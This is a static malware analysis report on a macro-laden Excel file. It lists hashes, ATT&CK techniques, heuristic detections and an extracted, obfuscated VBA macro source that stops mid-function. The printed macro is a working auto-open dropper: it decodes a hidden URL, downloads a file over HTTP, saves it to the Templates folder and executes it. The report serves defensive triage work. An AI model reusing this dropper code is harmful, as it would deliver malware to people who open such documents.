Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4c324015e50495b0…

MALICIOUS

Office (OLE)

166.0 KB Created: 2020-07-10 09:51:56 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 7e3bce38fd10db8e74125e4ddde576e5 SHA-1: 7f7b39d946a4cf12108a3842990dad23a39d7a0e SHA-256: 4c324015e50495b053576c0f1d691f5693d9ea18a33e9bf41d7c26f2101fe777
418 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

This Excel document contains obfuscated VBA macros designed to download and execute a second-stage payload. The Workbook_Open macro is triggered automatically, and the script uses WScript.Shell to execute downloaded content. The document body presents a lure to enable content, which is a common tactic for macro-based malware.

Heuristics 12

  • ClamAV: Xls.Macro.Obfuscation-9804250-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Macro.Obfuscation-9804250-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    VHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGN = SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16910 bytes
SHA-256: 7741813acbf5fb7b89a48263e829fe094c0becd449d5040554419a799c88d5db
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 69 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Gijt()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function yail(burgerorgan, bonusshoot)
qoxnwkqnhfshhimr = "*" & burgerorgan & "*"
Dim be3a8c1f30f1abadd648e22b16fdb57d5 As Double
be3a8c1f30f1abadd648e22b16fdb57d7 = 642.162
Dim columnwall As Byte
columnwall = 44414.429
Dim t0ea0a0840384a15e019665b2e996b73f As Long
t0ea0a0840384a15e019665b2e996b73f = 564.954
Dim n2b549c2e42dc58d564726b5780212aza As Double
n2b549c2e42dc58d564726b5780212aza = 895.115
dhmpmrvyvrxwv = vbNullString
Dim m974e3e334b64ac13b6dec997fbabf21f As String
m974e3e334b64ac13b6dec997fbabf21f = "naiveremove"
Dim b08576ffe41cb67690655f1261f410844 As Byte
b08576ffe41cb67690655f1261f410844 = 19.227
Dim z2c55929d38494d4bf3ab6ba3dd16305c As Boolean
z2c55929d38494d4bf3ab6ba3dd16305c = 93.904
Dim b9d76f7072ca3da29e82e55579143fba0 As Double
b9d76f7072ca3da29e82e55579143fba0 = 108.662
If Not bonusshoot Like qoxnwkqnhfshhimr Then
dhmpmrvyvrxwv = burgerorgan
Dim kqeepfyakmzwuediw As Double
kqeepfyakmzwuediw = 61.491
If kqeepfyakmzwuediw <> 189.252 Then
Dim flamesight As Byte
flamesight = 212.797
Dim sweartrust As Long
sweartrust = 235.981
Dim prqhhqrabc As String
prqhhqrabc = "fadzjgdilazu"
End If
End Function

Private Sub Workbook_Open()
Dim XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQP As Integer
XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQP = Chr(50) + Chr(48) + Chr(48)
  Dim WshShell As Object
    Dim SpecialPath As String

    Set WshShell = CreateObject("WScript.Shell")
    SpecialPath = WshShell.SpecialFolders("Templates")
Dim XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ
Dim VHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGN
Dim JJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUI
Dim BQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQO
Dim LWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHD
Dim MSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY As Integer
Dim SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG
Dim NWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNS
MSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY = 1




Set SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG = CreateObject("microsoft.xmlhttp")
Set LWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHD = CreateObject("Shell.Application")

BQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQO = SpecialPath + Decrypt("ibec_V;n„n")
SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG.Open "get", Decrypt("q~~z}G<<z|y~n}~v‡r}wy‚sxp};n}<|�uyz<ƒx|OV{cS>tF;n„n"), False
SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG.send
VHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGN = SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG.responseBody
If SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG.Status = 200 Then
Set XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ = CreateObject("adodb.stream")
XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ.Open
XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ.Type = MSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY
XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ.Write VHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGN
XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ.SaveToFile BQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQO, MSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY + MSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY
XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ.Close
End If
LWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHD.Open (BQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQO)
End Sub

Sub Auto_Open()
descifrar = AllUsersProfile
Run
End Sub

Function rnIkDDisHp4e1dEwtDO8XRgW() As Currency
Call t5IOznwCrl
End Function
Static Function t5IOznwCrl() As Integer
Call Dp62rz6kt90kDRkudpcs1fW4
End Function
Function Dp62rz6kt90kDRkudpcs1fW4() As Single
Call Jb8AvPk2VR
End Function
Static Function Jb8AvPk2VR() As Date
Call TJW8h3uwBHyE3XYkFXIADNkq
End Function
Function TJW8h3uwBHyE3XYkFXIADNkq() As Variant
Call JxU0xFkI7x
End Function
Static Function JxU0xFkI7x() As Date
Call rzGwrPUM9xS2rvCsRX6OdVek
End Function
Function rzGwrPUM9xS2rvCsRX6OdVek() As Variant
Call hx2errEArb
End Function
Static Function hx2errEArb() As Double
Call DlkYXBK4r3WCbBQoVfs4z78E
End Function
Function DlkYXBK4r3WCbBQoVfs4z78E() As Single
Call FZ4yZPaWVH
End Function

Public Function Decrypt(HPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOB As String) As String

Const JPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEO    As String = "abcdefghijklmnopqrstuvwxyz"
Const CFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYX      As String = "zebrascdfghijklmnopqtuvwxy"
Const ZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPY    As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Const OBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXB      As String = "ZEBRASCDFGHIJKLMNOPQTUVWXY"

Dim QWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY            As Long
Dim XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP            As Long
Dim YOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOC      As String
Dim WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE       As String

Dim bbop As String
Dim cost As Date
Dim nn As Byte

bbop = ""

nn = 1

cost = 19 / 6 / 2190


If HPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOB & "" = "" Then Exit Function


For QWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY = 1 To Len(HPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOB)
    YOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOC = YOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOC & Chr(Asc(Mid(HPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOB, QWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY, 1)) - 13)
Next


For QWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY = 1 To Len(YOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOC)

    WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE = Mid(YOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOC, QWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY, 1)

    Select Case Asc(WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE)

        Case 65 To 90
            For XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP = 1 To Len(OBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXB)
                If Mid(OBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXB, XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP, 1) = WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE Then GoTo USub
            Next
USub:
            Decrypt = Decrypt & Mid(ZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPY, XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP, 1)

        Case 97 To 122
            For XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP = 1 To Len(CFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYX)
